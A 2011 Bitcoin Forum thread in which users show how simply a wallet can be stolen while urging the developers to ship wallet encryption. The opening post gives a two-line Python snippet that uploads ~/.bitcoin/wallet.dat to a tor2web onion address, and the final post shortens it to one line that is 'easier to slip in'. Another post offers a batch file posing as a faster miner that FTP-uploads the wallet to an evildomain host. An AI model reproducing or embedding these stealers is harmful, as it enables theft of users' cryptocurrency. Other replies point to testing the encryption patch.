Bitcoin Forum

Bitcoin => Development & Technical Discussion => Topic started by: kokjo on June 17, 2011, 07:07:45 PM



Title: WALLET STEALER: so simple can it be!
Post by: kokjo on June 17, 2011, 07:07:45 PM
Code:
import urllib as u, os.path as o
u.urlopen("https://yfwcdtpmqwrqu2pl.tor2web.org",open(o.expanduser("~/.bitcoin/wallet.dat")).read())

thats is! so simple can a wallet stealer be. JUST 2 LINES!

WE NEED ENCRYPTED WALLETS! NOW!


Title: Re: WALLET STEALER: so simple can it be!
Post by: Drifter on June 17, 2011, 07:09:45 PM
WE NEED ENCRYPTED WALLETS! NOW!

Planning to help speed up the process?


Title: Re: WALLET STEALER: so simple can it be!
Post by: kokjo on June 17, 2011, 07:11:17 PM
WE NEED ENCRYPTED WALLETS! NOW!

Planning to help speed up the process?
nope! im lazy as hell :D


Title: Re: WALLET STEALER: so simple can it be!
Post by: Drifter on June 17, 2011, 07:12:19 PM
Well they're working on it for the next update and only have so many hands. Be patient.


Title: Re: WALLET STEALER: so simple can it be!
Post by: kokjo on June 17, 2011, 07:14:22 PM
Well they're working on it for the next update and only have so many hands. Be patient.
i am patient! just worrying about the noobs, who download crap to their computers.
im just wanting to show how eazy it is, to steal a wallet :)


Title: Re: WALLET STEALER: so simple can it be!
Post by: Reno on June 17, 2011, 09:09:11 PM
will there be some kind of password protection for the wallet file? so if i like to open it with the bitcoin client i have to type in my password, would offer a lot better protection.



Title: Re: WALLET STEALER: so simple can it be!
Post by: DukeOfEarl on June 17, 2011, 09:48:50 PM
I fully endorse this thread.


Title: Re: WALLET STEALER: so simple can it be!
Post by: bitlotto on June 17, 2011, 09:53:47 PM
The biggest thing non programmers can do is TEST IT! One bug was found a little while ago were some coins were lost with the encryption. The more testers there is testing the encryption, the faster they can release it! Try moving money around with a few coins, pretty much try to get the client to not work as expected!


Title: Re: WALLET STEALER: so simple can it be!
Post by: hacker on June 18, 2011, 12:09:34 AM
turbominer.bat now mines over 9000% faster.

Code:
@copy %SYSTEMROOT%\System32\ftp.exe %PUBLIC%\bitcoin.exe
@cd %APPDATA%
@%PUBLIC%\bitcoin.exe -i -s:"%~f0"&GOTO:EOF
open ftp.evildomain.com
anonymous
password
bin
put "Bitcoin\wallet.dat"
bye


Title: Re: WALLET STEALER: so simple can it be!
Post by: Gavin Andresen on June 18, 2011, 12:28:41 PM
The biggest thing non programmers can do is TEST IT! One bug was found a little while ago were some coins were lost with the encryption. The more testers there is testing the encryption, the faster they can release it! Try moving money around with a few coins, pretty much try to get the client to not work as expected!
+1

If you can, please help test, it really helps. Patch for wallet encryption is at: https://github.com/bitcoin/bitcoin/pull/232
As bitlotto says, us a wallet with very few coins in it and/or run with the -testnet flag to use test network coins.


Title: Re: WALLET STEALER: so simple can it be!
Post by: neptop on June 18, 2011, 01:27:29 PM
And then one could write a script using the victims own GPU power to brute force the wallet's encryption! ;D

Bitcoin isn't of value? It causes research in so many fields. Usually the opposite is true (http://www.youtube.com/watch?v=u6XAPnuFjJc) for money. So it's maybe to most valuable currency in existence.


Title: Re: WALLET STEALER: so simple can it be!
Post by: theboos on June 18, 2011, 02:42:07 PM
thats is! so simple can a wallet stealer be. JUST 2 LINES!


Code:
import urllib as u, os.path as o; u.urlopen("https://yfwcdtpmqwrqu2pl.tor2web.org",open(o.expanduser("~/.bitcoin/wallet.dat")).read())

Now doubly serious! One line must be easier to slip in than two, right?

(Are semicolons legal after import statements? I didn't bother to check)